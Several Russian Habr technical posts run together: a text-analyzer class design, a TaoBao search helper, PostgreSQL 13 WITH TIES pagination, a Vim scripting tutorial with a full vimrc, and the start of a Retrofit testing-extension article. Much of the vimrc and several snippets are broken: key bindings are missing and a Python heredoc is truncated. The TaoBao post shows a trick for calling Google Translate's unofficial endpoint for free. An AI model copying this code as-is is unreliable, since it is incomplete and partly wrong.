У класса TTextsConfigurator сложная структура. В его задачи входит загрузка, хранение и предоставление текстов — без их глубокого копирования. Хороша же была бы программа, если бы тексты, передаваясь в параметрах, полностью копировались. Тогда бы не хватило никакой памяти, никакого процессорного времени. Поэтому TTextsConfigurator предоставляет доступ через указатели. Считается, что будучи однажды загруженным, текст становится всегда доступен. «Конфигуратор текстов» так же хранит дополнительную информацию: является ли текст образцом или он — ключевой; активирован текст или нет (в программе можно исключать тексты из анализов), кто автор, какое название, и т.д. Как это реализовано, можно посмотреть в классах TTextsConfigurator ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CommonAnalysis/DTextsConfigurator.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CommonAnalysis/DTextsConfigurator.h?revision=1&view=markup)), TTextConfiguration ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CommonAnalysis/DTextConfiguration.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CommonAnalysis/DTextConfiguration.h?revision=1&view=markup)) TLogicalTextItem && TMPLogicalTextItem ([[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CLogicalTextItem.h?revision=1&view=markup)), TRawDataItem && TMPRawDataItem ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CRawDataItem.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CRawDataItem.h?revision=1&view=markup)) и TTextDataProvider ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CTextDataProvider.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/CTextDataProvider.h?revision=1&view=markup)). Именно в таком порядке объекты этих классов вкладываются друг в друга, и мы получаем своеобразную матрёшку. Идея была в том, чтобы разделить логическое и физическое представление текста, а так же предоставить возможность загружать «сырые данные» из разных источников, ничего не зная ни об источниках, ни о формате, в котором хранится текст. Поэтому загрузчик «сырых данных» можно сменить. Помимо всего прочего, там используется паттерн «Умный указатель» (классы TMPRawDataItem и TMPLogicalTextItem) в его ипостаси «Master Pointer» ([[1]](http://www.firststeps.ru/theory/c/r.php?5), [[2]](http://www.rsdn.ru/article/cpp/smartptr.xml)). Так же присутствует иерархия классов, позволяющая абстрагироваться от физического представления текстов. Всё это мне почти не пригодилось; возможно, я сделал лишнюю работу, зато приобрёл массу опыта и положительных эмоций.
 | https://habr.com/ru/post/114186/ | null | ru | null |
# Сервис, помогающий найти на TaoBao «редкие» товары (+ немного халявного Google Translate API)
Всех приветствую! Думаю очень-очень многие знают что такое TaoBao или по крайней мере слышали.
*Для тех кто не знает: TaoBao — гигантская китайская торговая площадка, количество товаров на которой измеряется числом, близким к миллиарду. Там можно найти практически любой каприз вашей фантазии, причем довольно дешево. Но есть две проблемы: найти товар (весь сайт TaoBao и все описания на китайском) и доставить его (доставка на TaoBao только по Китаю)*
Если вторую проблему легко решают множество посредников, то с первой все несколько сложнее. Если вы хотите найти что-то интересное, необычное или выходящее за рамки «обыденных товаров», то перед вами встанет трудность в виде языкового барьера
Примерно два месяца назад я пытался запустить свой интернет-магазин, ассортимент которого довольно уникален для России. Товары планировалось закупать на TaoBao. Задача поиска товаров и некоторые идеи упрощения этого утомительного процесса воплотились в идею сервиса-помощника. Некоторые рутинные действия можно было автоматизировать, что и было сделано. Что из этого получилось смотрите под катом.
Скрин главной страницы [сервиса](http://taohelp.me) 
#### Вспомогательные «Виджеты»
* **Конвертер валют** — не более чем просто полезная плюшка, о которой нет смысла рассказывать подробно. Можно писать арифметические выражения вида 150+10 (где 150 юаней — цена товара, а 10 — цена доставки по Китаю). Арифметические выражения выполняются через eval()
* **Поиск с переводом** — открывает результаты поиска товаров на TaoBao, где в поисковом поле будет перевод введенной вами фразы на китайский упрощенный (перевод осуществляется средствами Google Translate. Об этом будет ниже). Вводить строку поиска на русском и получать результаты по переведенному на китайский запросу довольно удобно и позволяет экономить время на то, чтобы вбить запрос в Google-переводчик. Некоторые могут возразить, что на сайтах у многих посредников имеется подобная форма поиска с переводом результатов выдачи на русский язык. Конечно есть. И у TaoBao даже есть [открытое API](http://open.taobao.com/doc/api_list.htm?id=102). Но при таком подходе теряется одно очень полезная возможность. Каждый наверно видел в результатах поиска Google фразу типа «Возможно, вы имели ввиду...». Так вот, такая функция есть и на TaoBao  но она теряется при работе через API
#### Главная задача сервиса
Почти всегда я довольно быстро нахожу нужные мне экземпляры товаров. Но проблема в том, что в поисковой выдаче на двух-трех страницах результатов товары, соответствующие мои критериям поиска 3-5. Остальные — результат неточности перевода, и для меня являются «поисковым мусором». Давайте посмотрим простой, но в то же время реальный пример. Нам нужно найти вот грелку для рук на TaoBao  На фотографии упаковки мы видим название бренда «winfire» и пару иероглифов, которые для нас, как людей не знающих китайского вбить в результаты поиска будет затруднительно. Сразу хочу уточнить, что нам не важен бренд. Нам нужна грелка для рук такого же типа.
Если мы попробуем сделать поиск с переводом по запросу «грелка для рук», то [получим совсем не то, что искали](http://s.taobao.com/search?style=grid&q=%E6%9A%96%E6%89%8B%E5%99%A8)
Если попробуем поискать грелку по запросу «winfire» то мы ее найдем, вместе с кучей разнообразной зимней обуви в [результатах поиска](http://s.taobao.com/search?q=winfire&style=grid).
Результаты по запросу «WinFire» для нас уже интересны. Не трудно предположить, что в названиях товаров, соответствующих нашим критериям среди иероглифов кроются наши «ключевые слова». Выявлять их вручную дело совсем неблагодарное. В этом и есть основная задача сервиса.
Все что нужно – это скопировать названия товаров, соответствующих нашим нуждам в поля ввода и нажать кнопку «найти ключевые слова»
Дабы наглядно продемонстрировать эту возможность, на главной странице [TaoHelp.Me](http://taohelp.me) можно нажать на ссылку «Демонстрация» и поля автоматом заполнятся иероглифами из указанного выше примера.
После нажатия кнопки «найти ключевые слова» вы увидите перевод каждого названия на русский язык, а также иероглифы, общие для 50% названий. Кнопка «Поиск по ключам на TaoBao» откроет результаты поиска в соответствии с заданными ключами. Как вы можете видеть, теперь в [результатах поиска](http://s.taobao.com/search?style=grid&q=%E5%93%81%E7%99%BD%E9%87%91%E6%80%80%E7%82%89%E6%9A%96%E6%89%8B%E5%AE%9D) мы видим ровно то, что искали.
Возможно, вы заметили, что кнопка «найти ключевые слова» изменила свое название на «уточнить результаты». Теперь ее функция найти общие иероглифы не для 50% названий, а для как можно большего их количества (т.е. если общие иероглифы были 品白金怀炉暖手宝 то после нажатия кнопки стали 怀炉暖). Теперь [результаты поиска](http://s.taobao.com/search?style=grid&q=%E6%80%80%E7%82%89%E6%9A%96) изменились, и мы можем видеть уже не только интересующий нас товар, но и его другие разновидности с расходными материалами.
Стоит упомянуть опции Латиница и Иероглифы. Если включить Латиницу, то в в ключевые слова попадут еще и слова, состоящие из латинского алфавита (в нашем случае, слово winfire)
#### Как осуществляется перевод
Наверное все знают, что Google уже довольно давно закрыл доступ к API своего переводчика. Это так, но возможность бесплатно использовать некоторые возможности существует, благодаря [переводчику сайтов](http://translate.google.com/manager/website/suggestions). Подозреваю, что почти наверняка, если использовать его с серверной части, то очень быстро можно получить бан по ip, но если использовать его на JS, то сия проблема решается очень легко. Вот пример с использованием jQuery
```
$.post(
"http://translate.googleapis.com/translate_a/t?anno=3&client=te&format=json&v=1.0&logld=v10",
{ q: value, sl: "auto", tl: 'ru', tc: "1" },
function(data) {alert(data[0])},
"json"
);
```
Здесь параметр **q** — исходная строка; **sl** — исходный язык; **tl** — конечный язык
#### В заключение хочу сказать
* Найти редкие товары на TaoBao не так трудно, как может показаться на первый взгляд
* Хочется попросить людей не злоупотреблять данной возможностью бесплатного перевода. Мои проект никак не монетезируется, но несет в себе весьма полезный функционал, и если я как-нибудь выйду на монетизацию, то непременно буду использовать платный API Google
* Я не посредник, не оказываю посреднические услуги. Я — покупатель на TaoBao, который решил упростить себе жизнь
* Если сервис когда-нибудь будет монетезирован, то только за счет сотрудничества с посредниками и карго-компаниями на отдельной странице «посредники». Весь функционал всегда будет оставаться бесплатным.
* Англоязычная версия сайта сделана по большому счету средствами того же Google Translate и не блещет правильностью
* Раздел «Советы по TaoBao» не дописан. не знаю, стоит ли тратить на него время. Может быть вообще сей сервис интересен только мне. Там планировалось описать тонкости при выборе продавца и использование поисковых фильтров TaoBao
* Если кому-то интересно, то свой интернет-магазин я так и не запустил. Мораль: не надо делать бизнес с друзьями | https://habr.com/ru/post/165623/ | null | ru | null |
# PostgreSQL 13: happy pagination WITH TIES
На прошедшей неделе вышло сразу две статьи (от [Hubert 'depesz' Lubaczewski](https://www.depesz.com/2020/09/22/waiting-for-postgresql-13-support-fetch-first-with-ties/) и автора самого патча [Alvaro Herrera](https://www.2ndquadrant.com/en/blog/postgresql-13-limit-with-ties/)), посвященные реализованной в грядущей версии PostgreSQL 13 поддержке опции [`WITH TIES`](https://www.postgresql.org/docs/13/sql-select.html#SQL-LIMIT) из стандарта SQL:2008:
> `OFFSET start { ROW | ROWS }
>
> FETCH { FIRST | NEXT } [ count ] { ROW | ROWS } { ONLY | **WITH TIES** }`
Что это, и как оно избавляет от проблем с реализацией пейджинга, о которых я рассказывал в статье [«PostgreSQL Antipatterns: навигация по реестру»](https://habr.com/ru/post/498740/)?
Напомню, что в той статье мы остановились на моменте, что если у нас есть табличка такого вида:
```
CREATE TABLE events(
id
serial
PRIMARY KEY
, ts
timestamp
, data
json
);
INSERT INTO events(ts)
SELECT
now() - ((random() * 1e8) || ' sec')::interval
FROM
generate_series(1, 1e6);
```
… то для организации хронологического пейджинга по ней (по `ts DESC`) эффективнее всего использовать вот такой индекс:
```
CREATE INDEX ON events(ts DESC);
```
… и вот такую модель запроса:
```
SELECT
...
WHERE
ts < $1 AND
ts >= coalesce((
SELECT
ts
FROM
events
WHERE
ts < $1
ORDER BY
ts DESC
LIMIT 1 OFFSET 25
), '-infinity')
ORDER BY
ts DESC;
```
Старый-добрый подзапрос
-----------------------
Давайте посмотрим на план такого запроса, если мы хотим получить очередной сегмент от начала этого года:
```
EXPLAIN (ANALYZE, BUFFERS)
SELECT
*
FROM
events
WHERE
ts < '2020-01-01'::timestamp AND
ts >= coalesce((
SELECT
ts
FROM
events
WHERE
ts < '2020-01-01'::timestamp
ORDER BY
ts DESC
LIMIT 1 OFFSET 25
), '-infinity')
ORDER BY
ts DESC;
```
[[посмотреть на explain.tensor.ru]](https://explain.tensor.ru/archive/explain/0033f58891e838808f5ea751a6673ccc:0:2020-09-23)
Зачем тут вложенный запрос? Ровно за тем, чтобы не иметь описанных в той статье проблем с «перепрыгиванием» **одинаковых значений ключа сортировки** между запрашиваемыми сегментами:
Пробуем WITH TIES «на зуб»
--------------------------
Но ведь ровно для этого и нужен функционал `WITH TIES` — чтобы отобрать **сразу все записи с одинаковым значением** граничного ключа!
```
EXPLAIN (ANALYZE, BUFFERS)
SELECT
*
FROM
events
WHERE
ts < '2020-01-01'::timestamp
ORDER BY
ts DESC
FETCH FIRST 26 ROWS WITH TIES;
```
[[посмотреть на explain.tensor.ru]](https://explain.tensor.ru/archive/explain/0a9ccbef8130328547168d1d5f97ea8e:0:2020-09-23)
Запрос выглядит гораздо проще, почти в 2 раза быстрее, и всего лишь за один `Index Scan` — отличный результат!
Обратите внимание, что хоть мы и «заказывали» всего 26 записей, **`Index Scan` извлек на одну больше** — ровно для того, чтобы убедиться, что «следующая» нам уже не подходит.
Ну что же, ждем официального релиза PostgreSQL 13, который запланирован на завтра. | https://habr.com/ru/post/520294/ | null | ru | null |
# Продвинутая настройка VIM
Одно из правил эффективного использования редактора гласит следующее — определите, на что у Вас тратится больше всего времени при наборе текста, и улучшите это.
Как показывает практика, часто пользователи этого редактора ограничиваются установкой опций, коих конечно не мало. Затем ставят какой-нибудь плагин-мега-пак по советам знатоков, и вроде бы все устраивает, кроме… первого, второго, третьего…
Но ведь если пойти дальше, можно обнаружить бесконечный потенциал для увеличения производительности в использовании своего редактора.
В этой статье я попытаюсь описать немного продвинутый способ настройки Vim.
Мы рассмотрим с Вами внутренний скриптинг и поймем, что ничего в нем нет страшного, обычный скриптовый язык.
Данный материал рассчитан на довольно подготовленных пользователях редактора Vim. Для тех, кто разобрался, что такое режимы редактора, буферы, окна. Статья написана в стиле «Одна глава — один конкретный рецепт — одно описание синтаксической структуры языка».
#### История изменений или оператор if else
Приведем пример использования оператора if в Вашем vimrc для установки опций
```
if version >= 700
set history=64
set undolevels=128
set undodir=~/.vim/undodir/
set undofile
set undolevels=1000
set undoreload=10000
endif
```
Данный кусок кода включает весьма полезные возможности, доступные начиная с версии 7.00: после того, как вы закрываете редактор(а если точнее, то текущий буффер), в предыдущих версиях история UNDO-REDO терялась. Начиная же с 7.00 появилась возможность записи этой истории в служебные файлы по каждому ранее открытому буфферу.
То есть теперь вы можете сменить буффер, закрыть окно, вообще выключить редактор, но открыв заново какой-либо файл, история Ваших изменений восстановится.
#### Быстрое переключение буферов или создание своей функции
Переключение между загруженными буферами должно быть быстрым. Не совсем удобно постоянно набирать :bn, :bp, :b#. Поэтому создадим свою функцию переключения и повесим на горячие клавиши этот функционал.
```
function! ChangeBuf(cmd)
if (&modified && &modifiable)
execute ":w"
endif
execute a:cmd
endfunction
nnoremap :call ChangeBuf(":b#")
nnoremap :call ChangeBuf(":bn")
nnoremap :call ChangeBuf(":bp")
```
Как вы знаете, если файл модифицирован, команды :bn, :bp, b# не сработают и выведут предупреждение о том, что надо его сохранить. Для этого мы и пишем эту функцию, в которой осуществляется проверка, модифицирован ли файл и может ли он быть модифицирован вообще.
Здесь мы создаем функцию, аргумент которой примет как раз те команды по переключению буферов, описанный выше.
nnoremap создает привязку определенной комбинации клавиш для какого либо действия. Аргумент \ — подавить echo вывод.
Здесь надо дать некоторое пояснение по переменным в .vimrc, а именно практически все они начинаются с какого либо префикса, отделенного от имени двоеточием. Префикс означает область видимости. Вот основные префиксы:
a:var — аргумент функции
b:var — переменная для текущего буфера
g:var — глобальная переменная
l:var — переменная, объявленная в теле функции
v:var — глобальная определенная в самом редакторе Vim
#### Список буферов или цикл for
Мне не очень нравится вывод буферов по команде :ls, хотя бы из-за того, что вывод многострочный. По-этому разберем пример с циклом for для вывода списка открытых буферов в одной строке. Преимуществом такого решения является то, что я могу вызвать эту функцию где угодно, в том числе в методе, описанном в предыдущем разделе. Получится, что при смене текущего буфера сразу будет отображаться список других открытых буферов.
```
function! BufList()
let status = ""
for i in range(1, last_buffer_nr()+1)
if bufnr("%") == i
let status = status . ' ' . '[' . bufname(i) . ']' "объединяем строки
continue
endif
if buflisted(i)
let status = status . ' ' . bufname(i)
endif
endfor
return status
endfunction
```
Здесь мы просто формируем строку со списком открытых буферов. Текущий буфер выделяем в квадратных скобках.
Как мы видим, цикл for весьма схож с циклом из того же Python'а
Здесь надо указать, что ряд функций редактора Vim принимают в качестве аргумента так называемое выражение. Для функции bufnr() например выражением может быть, например символ "%" — даст номер текущего буфера, "$" — даст номер последнего буфера. По каждой функции лучше все-таки смотреть :help func()
#### Автоматически исполняемый скрипт или чтение данных из текущего буфера
Я довольно часто начинаю писать новые скрипты. И мне удобно, что файл может быть сразу исполняемым.
```
function ModeChange()
if getline(1) =~ "^#!"
if getline(1) =~ "bin/"
silent !chmod a+x
endif
endif
endfunction
au BufWritePost \* call ModeChange()
```
Здесь мы берем и читаем первую строку из файла, и если она начинается с '#!' и в ней есть 'bin/', то делаем файл исполняемым. После вешаем автокоманду на событие BufWritePost.
#### Автоматическая заготовка скрипта или вставка в текущий буффер
Этот пример связан с предыдущим. Если мы начинаем писать новый скрипт на python'е, было бы удобно, если сразу в нем была заготовка, например, функция main, некоторые import'ы, строка определения интерпретатора. Продемонстрируем.
```
function! WritePyinit()
let @q = "
\#\!/usr/bin/env python\n\#-*- encoding: utf-8 -*-\n\nimport sys, warnings\n\nwarnings.simplefilter('always')\n\ndef main(argv=sys.argv):\n pass\n\nif __name__ == \"__main__\":\n
sys.exit(main())\n"
execute "0put q"
endfunction
autocmd BufNewFile *.py call WritePyinit()
```
Все просто. Если у Вас новый файл \*.py, в него будет добавлен стандартный код.
**Новый файл test.py**
```
#!/usr/bin/env python
#-*- encoding: utf-8 -*-
import sys, warnings
warnings.simplefilter('always')
def main(argv=sys.argv):
pass
if __name__ == "__main__":
sys.exit(main())
```
#### Автоматическая документация или пишем vimrc с синтаксисом Python'а
Эта статья была бы не полной, если бы я не показал, как можно делать вставки в .vimrc на другом языке программирования. Покажу это на примере Python.
Код надо документировать. На Python документация часто пишется в виде DocStrings. Покажем пример, как можно по комбинации клавши автоматически переноситься к тому месту, где должна быть документация.
**Автодокументация**
```
function! WriteDocstrings()
python <
```
Опять же, ничего хитрого, обычные HERED-Docs.
Здесь мы используем модуль для Python vim. Далее выискиваем начало текущего блока, вставляем туда кавычки для документации и переводим курсор для в начало будущей документации.
Надо учесть то, что для работы этого кода, вам необходима поддержка python в Вашем vim. Проверить это можно следующим образом:
```
vim --version | grep '+python'
```
Если есть поддержка, то все хорошо. Если нет, надо либо собрать Vim самому, либо поставить другой пакет. В Debian/Ubuntu/Mint я рекомендую ставить пакет vim-nox
```
apt-get install nox
```
#### Заключение
Статья получилась довольно объемной. Надеюсь, я показал, что маленькие особенности в Ваш редактор можно добавлять довольно просто.
Теперь, разобравшись с основными принципами продвинутой настройки редактора, Вы сможете написать более полезные дополнения, например, комментирование блока выделенного текста, открытие документации каких-либо функций.
###### Список полезных материалов
[Официальный сайт Vim](http://www.vim.org/)
[VIMDOC, с гиперссылками](http://vimdoc.sourceforge.net/htmldoc/)
[Документация по модулю vim для python](http://vimdoc.sourceforge.net/htmldoc/if_pyth.html)
**UPD1: чищеный от приватки vimrc**
```
"
" Comments/uncomments strings and selected text
" When buffer changing try to save it
" Convinient view of statusline
" AutoResave sessions on exit
" Auto settings for DJANGO omni completion
"
"Mapped Keys
" Mode Combination Description
" N Next buffer with saving if possible
" N Prev buffer with saving if possible
" N Last viewed buffer
" N Clear highlighting after searching
" I Set normal mode
" N Comment Lines
" N Uncomment Lines
" I Show popup menu OmniCompletion
" I If popupmenu is showed list it elements
" NIV Bonding Mode(useful when pasting from X-buffer)
" I Left in insert mode
" I Down in insert mode
" I Up in insert mode
" I Right in insert mode
" N ,p Paste after
" N ,P Paste before
" N Down in long line
" N Up in long line
" V Comment Line
" V Uncomment Line
filetype on
filetype plugin on
set tabstop=4
set shiftwidth=4
set smarttab
set expandtab
set softtabstop=4
set autoindent
let python\_highlight\_all = 1
set t\_Co=256
autocmd FileType html,xhtml,xml,htmldjango,htmljinja,eruby,mako setlocal noexpandtab
autocmd FileType \*.py set tw=80
autocmd FileType python nnoremap :call WriteDocstrings()
"nnoremap :call WriteDocstrings()
autocmd BufWritePre \*.py normal m`:%s/\s\+$//e ``
autocmd BufRead \*.py set smartindent cinwords=if,elif,else,for,while,try,except,finally,def,class
autocmd BufNewFile \*.py call WritePyinit()
autocmd VimLeave \* !reset
set nu
set ruler
set mousehide
syntax on
set backspace=indent,eol,start whichwrap+=<,>,[,]
set showtabline=0
set foldcolumn=1
set wrap
set linebreak
set nobackup
set noswapfile
set encoding=utf-8
set fileencodings=utf8,cp1251
"Searchig options
set showmatch
set hlsearch
set incsearch
"Layouts
set fencs=utf-8,cp1251,koi8-r,ucs-2,cp866
"memory, history, undotree
if version >= 700
set history=64
set undolevels=128
set undodir=~/.vim/undodir/
set undofile
set undolevels=1000
set undoreload=10000
endif
"Sessions - сохранение текущих буферов, регистров.
set sessionoptions=buffers,tabpages,help,blank,globals,localoptions,sesdir,slash,options
function! SaveSession(...)
if v:this\_session != ""
function Tmp(filename)
execute ":mksession! ".v:this\_session
endfunction
autocmd VimLeavePre \* :call Tmp("xxx")
endif
endfunction
au SessionLoadPost \* :call SaveSession()
"Titles, statuses
set laststatus=2
set showtabline=2
set title
set statusline=%1\*%m%\*%2\*%r%\*%3\*%h%w%\*%{expand(\"%:p:~\")}\ %<
set statusline+=%=Col:%3\*%03c%\*\ Ln:%3\*%04l/%04L%\*
set statusline+=%(\ File:%3\*%{join(filter([&filetype,&fileformat!=split(&fileformats,\",\")[0]?&fileformat:\"\",&fileencoding!=split(&fileencodings,\",\")[0]?&fileencoding:\"\"],\"!empty(v:val)\"),\"/\")}%\*%)
set titlestring=%t%(\ %m%)%(\ %r%)%(\ %h%)%(\ %w%)%(\ (%{expand(\"%:p:~:h\")})%)\ -\ VIM
"autocmd VimLeavePre \* silent mksession! ~/.vim/lastSession.vim
"autocmd VimEnter \* silent source! ~/.vim/lastSession.vim
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
set langmap=йq,цw,уe,кr,еt,нy,гu,шi,щo,зp,х[,ъ],фa,ыs,вd,аf,пg,рh,оj,лk,дl,ж\\;,э',яz,чx,сc,мv,иb,тn,ьm,б\\,,ю.,ё`,ЙQ,ЦW,УE,КR,ЕT,НY,ГU,ШI,ЩO,ЗP,Х{,Ъ},ФA,ЫS,ВD,АF,ПG,РH,ОJ,ЛK,ДL,Ж:,Э\\",ЯZ,ЧX,СC,МV,ИB,ТN,ЬM,Б<,Ю>,Ё~
"Buffers
function! ChangeBuf(cmd)
if (&modified && &modifiable)
execute ":w"
endif
execute a:cmd
endfunction
nnoremap :call ChangeBuf(":b#")
nnoremap :call ChangeBuf(":bn")
nnoremap :call ChangeBuf(":bp")
nnoremap Oj
inoremap
nnoremap :nohlsearch
inoremap I
inoremap A
function! BufList()
let status = ""
for i in range(1, last\_buffer\_nr()+1)
if bufnr("%") == i
let status = status . ' ' . '[' . bufname(i) . ']'
continue
endif
if buflisted(i)
let status = status . ' ' . bufname(i)
endif
endfor
return status
endfunction
"Copy/Paste
if has("clipboard")
set clipboard=autoselect
endif
"Autoaddition
set formatoptions-=o
"scripting
function ModeChange()
if getline(1) =~ "^#!"
if getline(1) =~ "bin/"
silent !chmod a+x
endif
endif
endfunction
au BufWritePost \* call ModeChange()
if expand("%:t") =~ "py$"
set makeprg=python
endif
if expand("%:t") =~ "sh$"
set makeprg=/bin/bash
endif
if !has("gui\_running")
imap
else
imap
endif
filetype plugin on
set ofu=syntaxcomplete#Complete
set complete=.,b,t,k,u,k
set completeopt-=preview
set completeopt+=longest
autocmd FileType python set omnifunc=pythoncomplete#Complete
autocmd FileType javascript set omnifunc=javascriptcomplete#CompleteJS
autocmd FileType html set omnifunc=htmlcomplete#CompleteTags
autocmd FileType css set omnifunc=csscomplete#CompleteCSS
if expand("%:t") =~ "^.\*\.py$"
let $PYTHONPATH = fnamemodify("%", ":p:h:h")
let $DJANGO\_SETTINGS\_MODULE = fnamemodify("%", ":p:h:t").".settings"
endif
set completeopt=longest,menuone
"Режим склейки при вставке
"set paste
"set nopaste
"set invpaste
set pastetoggle=
"Folding
set foldenable
set foldmethod=syntax
autocmd FileType tex set foldmethod=indent
"Цветовая схема
"color blackboard
let g:solarized\_termcolors=256
colorscheme solarized
set background=dark
"Remaps
inoremap h
inoremap j
inoremap k
inoremap l
nnoremap ,p op
nnoremap ,P Op
nnoremap gj
nnoremap gk
"Автокомменты
nnoremap :call CommentLine()
nnoremap :call UnCommentLine()
vmap :call CommentLine()
vmap :call UnCommentLine()
"скрипты
function! WritePyinit()
let @q = "
\#\!/usr/bin/env python\n\#-\*- encoding: utf-8 -\*-\n\nimport sys, warnings\n\nwarnings.simplefilter('always')\n\ndef main(argv=sys.argv):\n pass\n\nif \_\_name\_\_ == \"\_\_main\_\_\":\n sys.exit(main())\n"
execute "0put q"
endfunction
function! WriteDocstrings()
if !has('python')
echo "Error: Required vim compiled with +python"
finish
endif
python <"]
endif
return ["#", ""]
endfunction
au BufEnter \* let b:comment = RetFileType()
function! CommentLine()
let stsymbol = b:comment[0]
let endsymbol = b:comment[1]
execute ":silent! normal 0i" . stsymbol . "\A" . endsymbol . "\"
endfunction
function! UnCommentLine()
let file\_name = buffer\_name("%")
let stsymbol = b:comment[0]
let endsymbol = b:comment[0]
execute ":silent! normal :s/^\s\*" . stsymbol . "//\"
execute ":silent! normal :s/\s\*" . endsymbol . "\s\*$//\"
endfunction
let ropevim\_vim\_completion=1
function! CmdLine(str)
exe "menu Foo.Bar :" . a:str
emenu Foo.Bar
unmenu Foo
endfunction
" From an idea by Michael Naumann
function! VisualSearch(direction) range
let l:saved\_reg = @"
execute "normal! vgvy"
let l:pattern = escape(@", \/.\*$^~[])
let l:pattern = substitute(l:pattern, "\n$", "", "")
if a:direction == b
execute "normal ?" . l:pattern . "^M"
elseif a:direction == gv
call CmdLine("vimgrep " . /. l:pattern . / . \*\*/\*.)
elseif a:direction == f
execute "normal /" . l:pattern . "^M"
endif
let @/ = l:pattern
let @" = l:saved\_reg
endfunction
"Basically you press \* or # to search for the current selection
vnoremap \* :call VisualSearch('f')
vnoremap # :call VisualSearch('b')
vnoremap gv :call VisualSearch('gv')
"PYDOC
if exists('\*s:ShowPyDoc') && g:pydoc\_perform\_mappings
call s:PerformMappings()
finish
endif
if !exists('g:pydoc\_perform\_mappings')
let g:pydoc\_perform\_mappings = 1
endif
if !exists('g:pydoc\_highlight')
let g:pydoc\_highlight = 1
endif
if !exists('g:pydoc\_cmd')
let g:pydoc\_cmd = 'pydoc'
endif
if !exists('g:pydoc\_open\_cmd')
let g:pydoc\_open\_cmd = 'split'
endif
setlocal switchbuf=useopen
highlight pydoc cterm=reverse gui=reverse
function s:ShowPyDoc(name, type)
if a:name == ''
return
endif
if g:pydoc\_open\_cmd == 'split'
let l:pydoc\_wh = 10
endif
if bufloaded("\_\_doc\_\_")
let l:buf\_is\_new = 0
if bufname("%") == "\_\_doc\_\_"
" The current buffer is \_\_doc\_\_, thus do not
" recreate nor resize it
let l:pydoc\_wh = -1
else
" If the \_\_doc\_\_ buffer is open, jump to it
silent execute "sbuffer" bufnr("\_\_doc\_\_")
let l:pydoc\_wh = -1
endif
else
let l:buf\_is\_new = 1
silent execute g:pydoc\_open\_cmd '\_\_doc\_\_'
if g:pydoc\_perform\_mappings
call s:PerformMappings()
endif
endif
setlocal modifiable
setlocal noswapfile
setlocal buftype=nofile
setlocal bufhidden=delete
setlocal syntax=man
silent normal ggdG
" Remove function/method arguments
let s:name2 = substitute(a:name, '(.\*', '', 'g' )
" Remove all colons
let s:name2 = substitute(s:name2, ':', '', 'g' )
if a:type == 1
execute "silent read !" g:pydoc\_cmd s:name2
else
execute "silent read !" g:pydoc\_cmd "-k" s:name2
endif
normal 1G
if exists('l:pydoc\_wh') && l:pydoc\_wh != -1
execute "silent resize" l:pydoc\_wh
end
if g:pydoc\_highlight == 1
execute 'syntax match pydoc' "'" . s:name2 . "'"
endif
let l:line = getline(2)
if l:line =~ "^no Python documentation found for.\*$"
if l:buf\_is\_new
execute "bdelete!"
else
normal u
setlocal nomodified
setlocal nomodifiable
endif
redraw
echohl WarningMsg | echo l:line | echohl None
else
setlocal nomodified
setlocal nomodifiable
endif
endfunction
" Mappings
function s:PerformMappings()
nnoremap pw :call ShowPyDoc('', 1)
nnoremap pW :call ShowPyDoc('', 1)
nnoremap pk :call ShowPyDoc('', 0)
nnoremap pK :call ShowPyDoc('', 0)
" remap the K (or 'help') key
nnoremap K :call ShowPyDoc(expand(""), 1)
endfunction
if g:pydoc\_perform\_mappings
call s:PerformMappings()
endif
" Commands
command -nargs=1 Pydoc :call s:ShowPyDoc('', 1)
command -nargs=\* PydocSearch :call s:ShowPyDoc('', 0)
``` | https://habr.com/ru/post/165723/ | null | ru | null |
# Veslo — расширение Retrofit для тестирования (Java)
Статья расскажет о расширении для декларативного HTTP клиента [retrofit](https://square.github.io/retrofit/) предназначенного в большей степени для функционального тестирования API. Создан в первую очередь для упрощения и ускорения разработки API тестов. Расширение позволяет использовать сразу две модели данных в ответе от сервера для позитивных и негативных тестов, динамически выбирать нужный конвертер, содержит встроенные мягкие проверки (softly assert) и еще много всяких полезностей.
**Почему весло?**
Весло — специальное приспособление (движитель) в виде узкой лопаты для приведения судов (в том числе военных [галера](https://ru.wikipedia.org/wiki/%D0%93%D0%B0%D0%BB%D0%B5%D1%80%D0%B0)) в движение посредством гребли (действует по принципу рычага).
Содержание
----------
* [Предпосылки](#anchor_Prerequisites)
* [Модули](#anchor_Modules)
* [Запросы к серверу](#anchor_Requests)
+ [Object в качестве тела запроса](#anchor_ObjectRequestBody)
+ [Формирование параметров запроса (ReflectQueryMap)](#anchor_ReflectQueryMap)
- [Правила обработки 'null' (QueryParameterNullValueRule)](#anchor_QueryParameterNullValueRule)
- [Правила наименования параметров (QueryParameterCaseRule)](#anchor_QueryParameterCaseRule)
* [Ответы от сервера](#anchor_Responses)
+ [Softly Asserter](#anchor_SoftlyAsserter)
+ [Response Asserter](#anchor_ResponseAsserter)
+ [Header Asserter](#anchor_HeaderAsserter)
+ [Body Asserter](#anchor_BodyAsserter)
+ [Кастомизация встроенных проверок](#anchor_CustomResponseAssertion)
* [Модели](#anchor_Models)
+ [RawBody](#anchor_RawBody)
+ [ResourceFile](#anchor_ResourceFile)
+ [Jackson2 модели](#anchor_Jackson2Model)
+ [Jakarta Bean Validation](#anchor_BeanValidationModel)
* [Клиент](#anchor_Client)
+ [Сетевой перехватчик (CompositeInterceptor)](#anchor_CompositeInterceptor)
* [Конвертеры](#anchor_Converters)
* [Полезности](#anchor_Usefulness)
+ [Лог-файл для каждого теста](#anchor_UsefulnessLogging)
+ [Шаблонизация тестовых методов](#anchor_UsefulnessLiveTemplates)
+ [Плагины IntelliJ IDEA](#anchor_UsefulnessPlugins)
